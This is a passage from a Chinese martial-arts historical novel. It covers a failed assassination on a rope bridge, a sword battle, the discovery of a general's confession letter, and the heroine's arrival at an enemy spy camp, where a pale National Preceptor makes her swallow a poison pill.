“好在哪？”
“好在一辈子跟苍茫的大地万物争斗一生，最后将自己还给他们，了结得干干净净。这些好的传统都丢弃，学什么中原礼仪？”
幽戎深吸一口气看向天空冷笑着说道：“觊觎不就是羡慕和高看？”
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茉云咬着饼转身望向幽戎：“大哥，你还怀疑我？您从始至终便和他们没一心过吧？”
“我这辈子是逃不走，可我又没瞎！”幽戎的声音好似漫不经心且坦然，只有眼神中流淌着几分戏谑和黯然。
“你可知，我每次喝了大酒之时最落寞，因为众人皆醉，我未醉！”茉云靠着大石，笑着摇摇头长叹一口气，“老兄，你真是天下第一可怜人啊，何必呢。”
幽戎那深邃和幽黑的双瞳望向茉云，看见她眼底里的总是流淌着纯粹，这份纯粹便让人一眼能看清她的决绝，又好似让人永远无法看清她，无法看清她纯粹背后的洒脱，怎么来得这般轻松。
此时茉云忽然停住了，她闭上眼睛听到了风的震动。幽戎则伸出手贴着土地，感受到地的震动。
幽戎挺立起身望向远路说：“是关家的马车。”
“你负责他的护卫，我亲手了结他。”茉云握紧剑起身说道。
“不用我来？”
茉云脸上又闪现出狠辣绝戾的笑容：“我要下杀手之时，心中只有仇和恨。”
幽戎收回了目光，转头望向茉云，他确实感受不到他的丝毫迟疑。
果不其然关若辰的马车出现了，驾车之人便是关家的胡侍卫长，他正拉紧缰绳准备让马车停下，茉云抬手一个石子打出，马儿被击中要害向天一声长啸，便侧身倒去，整个马车都被马儿带得快要侧翻入河。
危急之时，胡侍卫长不顾一切护着关若辰，拉着若辰从马车飞身而出，顷刻就拔出了剑御敌。
茉云和幽戎飞身而下，拔剑劈来，胡侍卫长一手推开了若辰，一人便挡住了劈下的双剑吼道：“少主，快走！”
若辰恍惚了半刻，抬目望去，刺杀他之人居然是方茉云。
茉云望向他们冷冽的笑了，笑容惊悚如烈魔一般，“老胡，本来是来杀关若辰的，结果你来了，运气不好啊。”
胡侍卫长顿时便怒斥道：“你为何要杀少主？”
“为了让卢正啸也尝尝痛失挚友的滋味。”
“少主，你先过桥！”
若辰依旧震惊的愣在原地，看向这个熟悉而陌生的身影，恍若置身在噩梦之中还未醒。
“幽戎，辛苦你解决他！我干掉关若辰。”茉云握剑狠戾的望向若辰，眼神对视，若辰还愣在原地，她的剑已刺来。
胡侍卫长不顾一切挡住茉云的剑，一把拉着若辰推到藤桥之上，自己用身躯挡着桥入口吼道：“少主，属下求您，快走！”
幽戎抬剑袭来，胡侍卫长堵在桥口，以一敌二用命相搏，宁死不肯让半步，若是单打独斗还能抵挡，可茉云和幽戎皆是剑术高手，他又岂可匹敌，最终幽戎一剑将其斩入河中。
若辰就站在桥尾那头，望向此情此景未再动弹，亦未言语，他知道此时说什么皆是枉然，他这条命曾经是方茉云救的，那就此刻还回她也罢。
茉云冷笑着举剑而来，一步步朝桥上走去，抬手飞身要出剑之时，一道银光闪现。
“茉云，小心！”幽戎瞬间吼道。
茉云立刻飞身撤回，晚起半分，便会躲不过这支力破万军的利箭，她怒目朝飞驰而至的马蹄声望去，是他……
117.决绝
正啸冷冷的望向这两个曾皆与自己并肩谈笑之人，眼神却没有丝毫的迟疑，顷刻的握紧了手中之剑，腾空而去，旋身挥出狠辣一剑，瞬间逼退了桥头的茉云，而他剑锋未转，这一剑原来并未追击茉云，而是直冲藤桥，斩断了藤桥绳索，将若辰留在了对岸，亦给他留下了生机。
“卢正啸！”若辰吃惊的吼道。
“见否？”茉云顷刻却寒厉的笑了望向幽戎，“他亦不是不在乎友人，不过是你不够格罢了。”
幽戎亦是冷凌的望向正啸，十年了，那个记忆中俊朗阳光的少年，原来也变得几许沧桑，他亦冷笑道：“你够格？”
“我何时认他是朋友？”茉云握紧了剑挑眉轻笑。
若辰顿时咬牙喊道：“方茉云，这一切不过是阴谋，他没有一刻想害你！不过都是命运捉弄……”
“我对命运没兴趣！我只想取他狗命！”茉云挑剑而来，正啸即刻翻转相避，剑尖几近贴颈而过，凛冽的剑气令人见之生寒。对峙间，两人之剑芒光影交错，迸撞出银灰，剑气互不相让激烈搏杀，未留丝毫余地，最终正啸剑气刚猛，震退茉云一丈余，她捂着胸口抬头瞪着幽戎，他居然看着未动手！
霎时间，幽戎亦出剑了，剑气冲天而起，顿时两人间又只见光银闪烁，却看不清招式，但周遭的山雾好似一波波的炸开，山林中剑声嘶嘶破风，剑气瞬如闪电消散，风卷落叶纷崩。
茉云擦擦嘴角的血举剑又要袭来之时，疾驰而来的马上又飞驰而下一人，一道银芒挡住了茉云的冷剑。
“是你！”茉云望过去，倒是眼神透出了坦然而温和，来人是万莫。
万莫咬牙望向茉云，握紧剑的手都勒出了青筋。
茉云则冷邪而笑说：“你不是我对手！”
“护卫少主至最后一口气。”万莫咬牙望向茉云眼眶微红说，这是昔日他接剑之时，茉云曾说此剑能成全他一世信仰，护卫少主到底，至最后一口气。
“好，朋友一场，我成全你！”茉云冷笑着化剑狠戾而来，万莫丝毫不退让，两人拔剑相向。
四人对峙，剑招如霹雳闪电，剑光霍霍，夹杂冷厉的劲风，闪出锐利的寒光，山野皆惊栗。
正啸和幽戎双剑相交，内里急注于剑锋对抗，而茉云确实剑术高万莫一筹，转瞬逮住万莫之破绽，一剑挑飞了万莫手中之剑，剑被击飞而掉入河中，茉云转剑就往正啸直刺而来。
正啸已无暇抽剑相抵御，就在此时万莫不顾一切猛力一蹬，借力腾空而来，以身躯为正啸挡下此剑，顿时血迸射而出，让众人皆恍惚了半刻。
茉云抽剑之时，眼中闪过一丝红光，嘴角却冷冷上扬，万莫顿时便不支，重重摔在地上，顷刻间鲜血染红了半边衣裳，正啸不顾一切挡开了幽戎的剑，要去拉万莫，谁知茉云先一步，飞起一脚将万莫踹入水流骤急的河中。
正啸双眼迸射出愤怒的火焰瞪向茉云，茉云却张狂而狠戾的笑了指向河里问道：“尝到什么滋味了吗？”
正啸握紧剑之手都在颤动，似乎已经无法克制心中的爆发，而茉云亦飞身上前，正啸以剑抵挡，双剑对峙，四目相触，正啸忿然的眼神中终究流过一丝苦楚，她终究还是成魔了。
“幽戎，你还站着干什么？杀他！”茉云顿时愤然吼道。
若辰则不顾一切的冲忽然冲幽戎吼道：“幽戎，回去问问你们暗营的首领，当日你在江边见到卢正啸，是否本就是他安排的？你再问问他，你全家皆亡的悲剧又是谁故意为之？你爹娘和你哥为何突然被调去了先锋营？对于他们来说，你爹娘和你哥三人加起来都不如你有用！”
幽戎瞬间愣住了半刻，这也是他脑中质疑了半生的问题，爹娘和哥怎会突然掉入了先锋营，他们当年明明都是骑射营中的将士，为何最后那一仗会这般安排？他无法抑制思绪的望向关若辰，他居然也知晓此事……
“幽戎！”茉云顷刻间怒吼道，“先杀他！”
而就在幽戎恍惚的时候，终于又有一人赶到，那便是接到信，便一路飞驰而来的千山，他飞身拔剑而来。
幽戎顷刻转身就挡住了千山这刚猛的一剑，千山却不顾一切往正啸身边而去。
“救万莫！”正啸侧身向千山吼道。
“不！”千山则冲着正啸吼道，“我们的职责是护卫您！”
说完千山就拔剑朝茉云砍去，幽戎亦又加入了战斗，众人之剑狂击于野，有形之剑芒银辉闪烁，无形之剑气纵横山林，剑剑以命相搏杀，天地皆惊寒。
终究正啸大动内力，体内的寒毒无法压制，眼看其剑招刚猛之气在消退，而千山亦终究不是茉云的对手，茉云狠辣一剑劈下，千山用尽全力注于剑尖，抵抗茉云对正啸的致命一剑，两剑对峙，千山渐渐趋于下风，眼看茉云此剑直刺正啸背后。
霎那间，一道银光气势如虹，俨然如九霄云上的雷霆一般，凌冽而迅猛的劈下，顷刻直接斩断了茉云的剑，然后那剑横扫而来，剑气重伤茉云左肩，茉云吃惊的退身半丈，血瞬间从衣中渗出。
是万莫浑身染血而湿漉的用剑支撑着自己，眼神已经有些丧失意识般的模糊，可他仍然狠狠瞪向茉云的剑，只要还有一口气在，便要和千山一起并肩站在正啸身边。
而此时幽戎飞身而来一把扶住了茉云，同时他脚下也感受到了地面传来不寻常的动静，这是卢家军马蹄的震动，有大部队快到了。
“走，他们增援来了！”幽戎顿时说道。
“我不走，我要杀了他！”茉云已如出笼嗜血的猛兽一般，好似已然完全感觉不到伤痛，猩红的眼眶中全然都是狠戾的杀意。
“走！”幽戎死死的拉着茉云往山路撤退。
“我要杀了他！”茉云身受重伤最终拗不过幽戎，被他强行拖走了。
千山迟疑了片刻本想拦住他们去路，可万莫完全无法支撑的倒在地上晕厥了过去，正啸立即侧身去扶万莫，千山也马上丢开了剑一把抱住万莫，正啸旋即为他封住几处大穴。而此刻正啸也体内波涛翻涌，他已克制不住寒毒的入侵，捂着胸一口鲜血喷出。
“少主！”千山吃惊的喊道。
这时沧海率队到了，飞身而下马上扶住了正啸，正啸亦顿时失去了支撑倒了下去，他以为自己好像失去了意识，可是耳边却还在响起茉云癫狂的吼声，我要杀了他，我要杀了他！这一声声就如同万箭射来。而自己也没有失去意识，因为自己还能体会
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什么是万箭穿心。
若辰站在对岸，虽然茉云未得逞逃窜而去，可看见她消失在山林，他那如星辰般澈亮的双眸，只剩下了空洞无神，脑中空白而麻木，全身只剩下一种感觉，那便是锥心刺骨。
一路上所行之人皆痛而不语，似乎连责骂、怨愤的气力都没有了，若辰坐在马车里，看向躺在一旁的正啸，不知为何红了眼眶，渐渐两行清泪落了下来。
若辰顿时忍不住质问道：“老天何以如此待你！”
正啸似乎听见了若辰这一字一句，字字泣血般的控诉，可他没有睁开眼睛，这人世让自己太累了，都不想睁开眼睛看一眼……
而幽冥带着茉云回到了密营的庄院，厄戎请了最好的医师为她包扎了伤口。
密营跟去的密探来厄戎处汇报，汇报完事情始末，看向厄戎居然有些言辞闪烁，欲言又止。
“有什么就说！”厄戎没好气的怒斥道。
“是，大将军，方茉云好像没有问题，她其实几近得手，出剑也是决绝而未留半分余地，若不是幽戎将军迟疑，她便已然杀了卢正啸！”
厄戎端起桌上的烈酒喝了一口说“此事我知道了，不要再向任何人提起。”
“是！”密探汇报完便告退了。
厄戎长叹一口气靠着椅背，幽戎比他小了一轮，自己也算看着他长大，这小子自小便天资卓绝却也格外一根筋。
峑戎出生的男孩自幼便要入武营学习刀剑骑射，他上马能骑，握剑便能战，聪明绝顶且剑术天赋极高，可当上官下令要他们斩杀面前动物之时，只有他非要问句为什么？无论被如何责打和严惩，他总要问个缘由！
直至他成年入了暗营也是这般倔，他若应了，他能完成其他人不可能完成的任务，可他不应之事，你杀他亦无用。而且在幽戎心中一直耿耿于怀便是家人阵亡之事，他更深深内疚的是自己兄长明明刚大婚，按照峑戎军法，长子未有子嗣之时可不上战场，皆因他不肯入军，他哥替他去的……
深 夜茉云拿着一坛酒坐到了月下，用一只手艰难的倒入酒碗中，此时一只苍劲有力的手给她扶住了酒坛，茉云抬目望去，顷刻间怒火中烧，操起酒坛就往他头砸去，而幽戎却乐了，一个转身躲避开，抬手就接住了酒坛。
幽戎站在月下一脸邪魅的笑容：“浪费了酒，也可惜！”
“废物！”茉云没好气的冲着幽戎吼道，厄戎远远的靠着柱子抱胸抬目看着，居然也被逗笑了，幽戎这辈子被骂不服命令，古怪执拗甚至愚不可及都有，但是确实从没有人骂过他废物。
“方茉云，你当真是半丝女子的气息都无！”幽戎往酒碗里填着酒说，受了如此重的伤，她似乎一丝痛楚都感受不到。
“亏我还以为你是个人物！”茉云端起自己酒碗喝了一口叹息道，“原来你不过是一个游魂，终归不知何处置此身，何处是故人！”
幽戎端起酒杯的手停住了，厄戎亦站正望向他两的背影。
月光照耀着茉云那张略显苍白而决绝的脸，她嘴角勾起一抹苦笑：“我若在京城杀了你就好了，不至于让你再在人世颠沛流离。让一个如此血肉模糊的灵魂，还终日想着如何捧花献给光明。”
118.心定
夜空中无一丝云彩，都没有什么能遮挡一下那轮在空中孤独的，清冷的下弦月。
幽戎收起了唇角那丝冰冷的笑意，目光渐寒，厄戎望向他的背影都能顿感阴冷瘆人。
“幽戎，不要想过去的事了！”
“那你又为何在此，为何要报仇！”
“可我曾被厚待过，我哥和青岚都只希望我活！你呢？”茉云嘴角渗出了一丝阴森的笑意，周遭涌动着的都是刺骨的寒意，“你爹娘为何非要让你哥替你出战，他有一夫当关万夫莫开之勇，不，他只可以为带来负罪感，我还听他们说，你爹娘在阵亡之前只留下遗言，让你为他们报仇，那岂不是做好了让你过不好这一生的打算。”
幽戎握紧了茶碗，暗黑的双眸，像流星坠入了寒潭，坠入的那一刻他本就知道自己的宿命，可是还是像那无尽的深潭落下。
“所以何苦背负这些过一生！人，无牵无挂无欲无求才可所向披靡。”
茉云一饮而尽的那浓茶，顿时厄戎却握紧了拳头，皱眉望向幽戎，幽戎周遭的空气似乎被他一直压制在心中的怒火点燃。
“咱不要怀念，不要回忆，更不要悔恨，不然你终究会被人利用被人左右，就连关若晨那厮，都能让你停住手中之剑，那家伙可是个抬头赏月都能多愁善感泪流满面之人，你这心中信念怎比他还不如？”
“我心中的信念是什么？”幽戎一饮而尽茶碗中茶冷冷的说道。
“大抵就是深切的希望你的族人能过上他们想过的好日子吧。”茉云又端起茶，一脸风轻云淡的喝着。
幽戎转身望向茉云，仍然沉默无言，可是肩膀微微的颤动却透露出内心深处的震撼。
“所以让那些企图利用你的过往而裹挟你的人去见鬼吧，咱得为自己的信念，痛痛快快的活！”茉云抬手举起了茶碗看向幽戎，畅然而笑。
幽戎愣松在原地望向茉云，看向她那月光下豪迈而畅快的笑意：“那你的信念又是什么？”
“睚眦必报，让我失去的都必须还，我从不怀疑自己，更不怀疑人生，任雄山漫道，苍茫云海，心定则不移！”茉云抬头望向星空畅然而豪迈的说，说完她望向幽戎举起了茶碗：“兄弟，愿你也为你的信念活，人有人的使命，你有你的，凭谁说，何为对错？就看谁赢，哪怕有一天你必须踏我而过，能踩到我，就算你狠，我也为你开心，不枉咱相识一场！”
茉云的眼神充满了欢畅和平静，却让人感觉到一股深不可测的疯意，厄戎都觉得背后阵阵不寒而栗，却激起了幽戎心里的万层浪，让那静默压制已久而充满力量的波涛顿时翻涌澎湃。幽戎亦举起了茶碗，那如子夜寒星般的双眸又闪出了光辉，嘴角又透出了邪魅而放荡不羁的笑容，伸手和茉云茶碗相碰，然后两人一饮而尽。
“就你这寸劲，跟那戈壁上的不合群的傻狼一般，幸亏生得有一副好皮囊，有个有权有势的大姐保着，不然早喂了秃鹰。”茉云便说边自己被逗乐了“诶，说来，我应该把刚才的话收回，你也不是没人爱，也不需要这般怨天尤人！”
“谁跟你胡说八道的！”幽戎顷刻间望向茉云，狂野不羁的靠近说道。
茉云伸手往后指着说道：“厄戎大将军……”
“放屁！”厄戎立马反驳道，说完笑着亦走了过来。
“我话还没说完呢！厄戎大将军是肯定不会跟我说的！”茉云随意的笑了说，“来，大将军坐！喝茶！”
“我可不太想大晚上喝这家伙的茶，他的茶素来又浓又苦。”厄戎坦然的笑了说，最终还是端起了茶。
茉云则端着茶碗喝着，奚落的看了幽戎一眼说道：“你这品味着实不怎么的，去京城那么久也不学学茶道？”
“是吗？”幽戎那有棱有角的脸上闪现出一抹笑意，眼神中似乎还闪烁着另一丝复杂的情绪望向茉云。
茉云则放下茶碗，直勾勾的指着幽戎说道：“幽戎，我警告你，莫用这种眼神看我，若是怀疑我，你拔剑就是！想用这么鬼魅的手段，借你那长公主的手来弄死我，这是男人可用的招吗？你也太贱了！”
“扑哧”厄戎顷刻笑得茶都快喷了出来，幽戎脸上闪过一丝桀骜亦无语，也被逗笑了。
“你好好休整几日，等你恢复了些，我们要出发回暗营总部！”厄戎放下茶碗看向茉云说道。
“跟你们暗营的主子说一声，我呆这儿挺好，我不想去他那儿，不想见他！”
厄戎无语的笑了望向茉云：“可他想见你！你为何不想见他？”
“因为据我推测，你们那暗营的头头，聪明绝顶且忠心耿耿，运筹帷幄有以一敌万军只能，为啥他没能做驸马呢？”茉云喝着茶分析道，“只有一种可能，那便是奇丑无比，丑得公主晚上见之便如置身噩梦，所以人死活不嫁，我好歹也是个姑娘家，我没事去见他恶心自己干嘛？”
幽戎顿时亦畅然大笑，笑得邪魅中又带着爽朗，厄戎也无语被逗笑了望向幽戎叹气道：“不如把这丫头先毒哑了再带回去，国师面前可不容她如此放肆。”
“国师关我什么事？他有几两身手，能帮我报仇？你们这位据说峑戎剑术第一高手，大敌当前也跟傻愣一样。我还能指望谁，只能靠自己！”茉云愤然的拍桌子起身边走边说。
幽戎丝毫不恼，反而笑着侧身望向厄戎说道：“你不担心？不去看着她？”
“她这点伤？至于回不了房？”
“她肯定直接去牢里报仇了！”幽戎嘴角上扬的摇摇头说道。
厄戎迟疑了半刻，顿时起身就跑，果不其然茉云拔剑已踢开了牢门，一脚就踹开了守卫，直冲震北的牢房，厄戎飞身而去，守卫顿时亦一拥而上，却还是费劲力气才把气急败坏的茉云押出了牢房。
“大晚上，你们不睡觉在此干嘛？”茉云愤然瞪着厄戎他们。
“哎呦，我的天啊，你还问我们？大姐，你能消停一日吗？”厄戎身边的守卫都忍无可忍的吼道。
“老子以前混北边之时，都说你们嗜血成性，干人眼都不眨一下，真是见了鬼了，老子一来？你们都变大善人了！”茉云愤然转身骂着回房。
幽戎听了顿时笑得前俯后仰，厄戎也无语的被逗笑了，
茉云回到了房中看着桌上那柄断剑的残剑，剑又断了一把，可自己的心坚若磐石……
正啸直接回了南关关若辰的府邸养伤，睡了快一天一夜之
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后半夜时分，他睁开了眼睛。
“少主！”千山亦关切的靠近问道。
“万莫呢？”
“万莫无碍，伤得虽说有点重，但是白神医说，无性命之忧，只需要些时间修养。他现在也睡下了。”
正啸才起身往桌边走去，拿起红木雕花圆桌上的白玉瓷壶，往白玉瓷底座镂雕杯里倒着水，此时门被推开，是若辰随意披着一件淡青色绣银丝竹纹的披风赶了过来，他定是半夜听人来报正啸醒了，随手披着披风便来了。
“可还好？”
“无碍！”正啸脸色依旧严峻而从容的坐下说道。
“只是还活着吧？”
正啸喝完碗中水故意转移了话题问：“老胡怎么样了？”
若辰没有说话，正啸抬起头皱眉望向若辰，最终是千山马上回答道：“虽无性命之忧，但是此生怕是不能再拿剑了！”
正啸放下了白玉茶杯，于他而言这也算好了，至少能留人回去给家人一个交代。
“昔日她在通州县，被吴叶衡关在城门外，我去见她之时，幽戎忽然来了。幽戎跟她说，让茉云跟他走，否则茉云会死无葬生之地的。”若辰深吸一口气懊恼的说道，“怪我没有将此事当即告知于你，我只当是他的离间之计，我从有一刻想过她会……”
“不用懊恼，我亦未想过！”
若辰愣了半刻，望向烛光下，正啸素来威猛刚强的神情中，居然透出了苦楚……
“幽戎为人心高气傲，这等当面离间之计，他亦不屑于，他若来，倒也许是真来提醒她的。”正啸握紧茶杯顿时咬紧牙关，最终他们还是对她下手了。
“此计如此狠辣，而我居然如此后知后觉。”若辰言辞中都透着无力的望向正啸，“此时，你如何打算？”
“天快亮了，回营吧！”正啸望向千山说道，千山亦马上点头，取来了正啸的披风。
若辰起身拦住了正啸的去路问道：“我是问你打算如何处置她？”
“军中如何处置峑戎暗营中人？”正啸毫无转圜的反问若辰道。
若辰亦知道如今局势之下，什么都化成了仇与怨，再言其他皆是无谓和枉然。
“你回京吧。”
“你亲自动手？”
“我现在唯一能做，只有不让她再为恶。”说完正啸推门便走了出去。
若辰转身望向正啸的背影，那疲惫不堪而强撑的身影，渐渐消失再夜色中，他淡淡的望向这黑夜的寂寥：“悲欢离合总无情……”
正啸却头也不回往营帐疾驰而去，回到了南关大营，诸将都来汇报军务，哪怕众人如何打起精神，也没法掩盖军心受到重挫的事实。朝廷亦来了公文，连谢丞相都像柳大人授意，让他转达，为今之计让正啸宜静不宜动，切莫上奏折，再言边关军事。
而此时杨东山一直等在营帐外，汇报完军务已到晌午，他还是站在营外等候，执礼将东山唤了进去。
正啸抬目望向进来便行了大礼的东山：“起来，何事？”
“东山有紧要之事，要向大将军奏明。如若可以请大将军屏退左右守卫！”
正啸抬手让其他守卫都撤出了营帐……
119.深渊
“东山，将你疑虑之事如实告知将军，莫要思虑其他，将军自有判断。”
“是！”东山望向正啸双手奉上一张纸，纸上画着一些图案。
正啸伸手拿起了纸张，端详了片刻，这好似关外民族的图像。
“这是那日东山随鹿里将军往元帅大营祭奠顾将军之时，瞻仰之后，出营之时，路过营帐，见顾将军下属清理其随身之物，欲随葬，发现一旧荷包上绣了此图案。”东山吸了口气双眉微蹙的小声说道，“下官在边城任职数年，边城关外贸易甚多，此花纹乃关外翼族未婚女子绣定情信物之花纹，是不可能随意赠人的。”
正啸放下了纸张看向东山：“翼族？”
“下官冒昧，便随即跟去了顾将军营帐，发现其营帐中有暗格，且更为让下属觉得蹊跷之处是，他们为顾将军衣柜清点时，冬日军被里掉出一做工精致的长命锁，乃纯金打造，且不是旧物。可我知顾老将军其子已殉国多年，并无所出！”
正啸若有所思的说“暗格中有什么？”
“属下被他们认出来，是与方大人有私交之人，便被赶出了顾老将军营帐，没来得及打开暗格，但我未碰，也未言明，想等将军回来之后禀报，请将军查明。”
“好，正好我要去父帅大营，你随我同去！”正啸起身说道。
执礼上前进言道：“将军，还是让东山留在南关，他身份特殊，我和谢青随您去边关大营，东山已经将暗格的位置告知于我。”
“也好。”正啸起身走来伸手搭在东山的肩膀上紧握了一下，便往营帐外走去，东山立即伏低头行礼送行，他亦感受到了肩上传来的信任，望向正啸的背影，忽然那日的情形浮现在眼前，是茉云端着酒碗笑着跟自己说，恭喜你，杨大人，觅得一位你愿意信赖，又能信任你的人……
他们一行人接帅令又赶到了元帅大营，元帅正在修养，他们先径直去了顾将军房，执礼和谢青废了些许力气都未打开床榻之下的暗格，最终正啸上前一脚踢垮了床榻，床下果然有一隐秘的暗格，
执礼撬开了暗格，看见一封信，打开一看，大吃一惊，是一封谢罪书。他旋即转身双手递给了正啸。
正啸看着信顿时深吸一口气说：“先不要给父帅看。”
“什么？”恰逢正逢元帅走进来，看见屋内的一片狼藉也愣了半刻，元帅一把扯过了信，顿时看了就吼道“不可能，这是污蔑。”
“父帅，小心你的伤口。”正啸锁紧双眉立刻扶着元帅说。
“老顾跟我五十余载，自小跟我一起长大。”元帅瞪着正啸说道，“谁！这是谁这么污蔑他！这不可能。”
“父帅，这肯定假的。我一定查明是谁如此害顾帅。”
“查。”
正啸护着元帅回他自己营帐，执礼和谢青却看向正啸都深深叹息。
良久之后，谢青才转身望向执礼问：“查吗？”
“查！所有叛徒都该死。”
谢青望向执礼，他眼神中都充满了怨愤和阴寒，便是方茉云背叛之后，他似乎日日受着自责和惶恐。
“难道这卢家军里就只有少主受背叛之苦，其余人都可以掩盖？”
“顾帅跟元帅几十年。”
“感情只能用时间和年数衡量吗？”执礼咬紧牙关，握紧的拳都在颤抖。
夜里，正啸在自己营帐看着行军图，执礼和谢青都面色凝重的进入了营帐。
“少主，属下认为，此事不管是谁都要查。”
正啸仍然是双眉紧皱缄默不语。
“不管因何缘由，什么露水情缘，幼子被俘，他的请罪书上，三条大罪，元帅关外因他被困，陈将军因其断腿，是他！跟峑戎密报，说亡少主者，必方茉云。”执礼咬牙低吼道，“若没有这条密报，何以至今日如此境地，您差点命丧方茉云剑下。”
正啸反而坦然的抬头望向执礼问道：“你打算如何查起！如若是从边关大营查，那便是祸乱军心！”
谢青叹息着说“是，执礼，顾将军在军中是何其威望，我们现在没有证据，但凭这封书信，你要知道东山便是临摹笔迹的高手，我们信他，你去问问大帅营中谁会信他？”
“那少主，此事难道我等就这般置之不理？”
“当然不！”正啸笃定而坚毅的望向行军图说：“峑戎密营，我必破之！”
执礼愣了半刻望向正啸，谢青则望向正啸说“可元帅之前下了军令……”
“那就让父帅待我破了暗营，再以军令斩我吧！”
此时茉云已跟着厄戎到了暗营中部，原来暗营在山中挖山而建，入口处居然是一个山中大石上开的石门，隐蔽非常，走入暗营，便会知晓难怪称之为暗营，内里没有一丝阳光，只靠双壁微弱的烛光照亮石道，茉云心中不禁感叹，这哪儿是营，分明就是墓。
走到尽头，以为无路之时，眼前石门大开，里面的大厅倒是壮阔，四根雕龙大柱立于堂内，支撑起这山中堂室，硕大的猛虎屏风立于进门处，堂上的黑木镂雕大椅铺着白虎皮，两旁立着两个威武的木雕狮子，四周的壁画上都是威武的青龙，白虎，玄武和朱雀。
茉云忽然凑近幽戎小声说：“你们国师是只小麻雀变的吗？”
“什么？”
“一个男子他得多孱弱，才需要这么来补威武之气？”
幽戎眼中也露出了一丝不屑看着周遭，然后望向茉云微微邪魅一笑。
厄戎却在一旁小声无语说道：“行了，国师就到了，别在下面支支吾吾。”
这时候从堂里走出一男子，一袭宽松的黑衣拖地，显得瘦削而苍白，脸上没有一丝血色，他坐上那黑木镂雕长椅，周身透着难以掩盖的慵倦之气。可两道剑眉之下，一双如寒潭般深幽的双眸抬目望来，眼神却渗出好似可透视人心的锐利，嘴里似有似无的笑意，让人不禁觉之阴森。
“国师！”众人行礼道。
“将军莫多礼。”国师说话的声音又轻又尖，忍不住的几声咳嗽声透出几分破碎感，“阁下便是方茉云？”
“是！”
国师抬目上下望了茉云一眼，茉云毫无转圜的笔直望向他，心想这人皮如雪山巅峰之皑皑白雪，便小声自言自语道：“原来不晒太阳能这般白净，我就是自小晒多了太阳？”
幽戎居然顷刻被逗笑了看向茉云，厄戎无语的轻轻咳嗽提醒他们。
“隆戎和毒戎都是死在你手上！”
“国师……”厄戎刚想说什么转圜的话。
“对！”茉云直接斩钉截铁的说道。
国师那几分清冷而孤傲的眼神落在了茉云身上：“你倒是这般坦率！”
茉云直白的望向他：“国师年纪看起来于我相仿，能身居如此高位，必是心智无双之人，跟你顾左右而言他，也没有意义，你也不会信！”
厄戎余光无语的望向茉云，幽戎则嘴角又透出一丝笑意。
“好，我喜欢跟直白的人说话。”
“是吗？”茉云正还要说什么，结果看见厄戎的眼神只得无奈耸耸肩，心里却想到，任人是弯弯绕绕还是坦荡直白说出
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的话，你都肯定不信啊。
“那我也坦率的说，你服下此药丸，我才可信你。”国师顿时抬起了衣袖，衣袖下伸出的那瘦骨嶙峋的手，指向了茉云。
此时身边之人便上前奉上了一锦盒，内里有一颗药丸。
顿时幽戎顷刻脸色变了，要阻拦，而厄戎瞪向幽戎，还没等两人眼神对话，茉云拿起药丸丢进了嘴里，嚼了嚼吞了下去，露出了一个难吃的表情。
幽戎转身几分诧异的望向的茉云，她却依旧风轻云淡的立于当场。
茉云端起水将药丸送了下去，淡然笑了：“希望此处不会让我失望，让我有朝一日也能尝到国师今日尝到的滋味。”
“什么滋味？”
茉云神情中露出了阴鸷的笑意：“我为刀俎人为鱼肉的滋味！”
“不会让你失望，也许你本就该属于这儿。”国师此时才收回了盯着茉云的眼神亦冷厉的笑了，“两位将军带茉云下去修整一二。”
“是，国师，属下告退。”
茉云转身之时看向那锦盒若有所思，欲言又止，最终还是转身了。
国师却似乎瞥见了这一幕：“有话但说无妨！”
“我本想问国师，毒药如若这般难以下咽，何以轻易让人食？”茉云淡淡的冷笑道。
国师望向茉云的眼神，依旧是冷凌而阴森，因为他不需要骗人食，人皆是不得不食。
“但是吃多了人间的苦，自不觉药苦，觉之苦不过是我个人偏见，所以请国师恕我冒昧，在下也告退了。”茉云抱拳行礼说道。
“请！”国师抬手说道，身边众人都不约而同的望向国师，要知道哪怕对厄戎大将军，国师亦不未用这个请字。
茉云转身跟他们一起走出大堂，国师抬目久久望向茉云，好久没有遇见这样的人，仅此一面，一句话便能触及人心，自己便是那已经尝不出药之苦味的人，而方茉云此人如此心机深沉还锋芒毕露，她日后是决不能留的……
他们走到了密营后的山谷，阳光直泻而下，山谷中便是如此生机盎然，幽戎会不自觉的抬头迎向阳光，却看见茉云抬头直视艳阳，丝毫不畏惧灼目。
“你什么感觉？”
“瘦，小，声音又尖又细，你觉得呢？我看着都生怕旁边那大木雕。一个不小心倒下来，将麻雀压成麻雀饼。”
幽戎顷刻又被逗笑了，厄戎立即看向周遭还好没人：“方茉云！”
“我是问你服毒有何感觉？为何要服！”幽戎则毫不在意的打断厄戎问道。
“观察了一下形势，且不说厄戎大将军会不会帮我，就是帮，咱三也杀不出一条血路出来，何必浪费力气挣扎，你们国师现在也还不想杀我？”
“毒戎可曾是他的得力干将！”
“那不得谢谢你？”茉云望向幽戎笑着说。
峑戎所有人都知道幽戎和毒戎是死对头，厄戎顿时制止茉云道：“此处可不是你等胡说八道的地方。”
茉云则望向幽戎坦然的走了说“得谢谢老兄你放过了卢正啸，人还对我有点指望。”
夜里回到了房里，小腾愤怒的望向茉云：“姑姑，这该死的地方，阴森恐怖恶心，我都不知道用什么词能形容！”
“深渊！”茉云坐下倒着茶，忽而想起那日卢正啸跟自己说，让自己不要坠入深渊，不要虚生浪死，可自己一次次坠入的深渊一个比一个深，迟早也会浪得连灰都不剩……
想到此，茉云顿时粲然而笑，抬目望去，深渊里的我，只剩下看不清的星空，和清晰的自我。
120.棋子
东方破晓，曙光透过空中的云雾，洒下一片金色的光辉，茉云抬眼望去，天地间透着一种荒凉而壮阔的美。天边刚刚泛起鱼肚白，远方连绵起伏的戈壁与沙丘山脉在晨曦中若隐若现。随着光芒的的移动，那些蜿蜒起伏的沙丘像是被染上了一层金黄，仿佛大地在轻轻喘息。
茉云来就发现在暗营，没有任何人限制她的活动，期初她还质疑，国师也不派人守他？后来她才意识那个瘦骨嶙峋，连说话少了气力之人，对此处一花一木，一人一行皆是掌控。
她所经过之处，遇见的人任谁都没有多瞧自己一眼，似乎也没有在意自己，可是其实谁都在监视着自己，也在互相监视着，她索性毫无忌惮骑马而去离开了暗营，入了暗营附近的峑戎重镇丛穰镇，准备游历吃喝了一番。
丛穰镇便是一个风中都透着黄沙之地，但南来北往的商旅在此交汇驻足，所以他亦是店铺林立，彩旗招展，集市中央人潮涌动，各类铺子搭着棚子铺开地毯，货物琳琅满目，丝绸、茶叶、瓷器还有香料、珠宝和各类奇异的干果，骆驼队迎面而来，茉云马上让开了几分，驼铃声如此悦耳，与商贩的各式各样的吆喝，交织成独特的集市乐章。
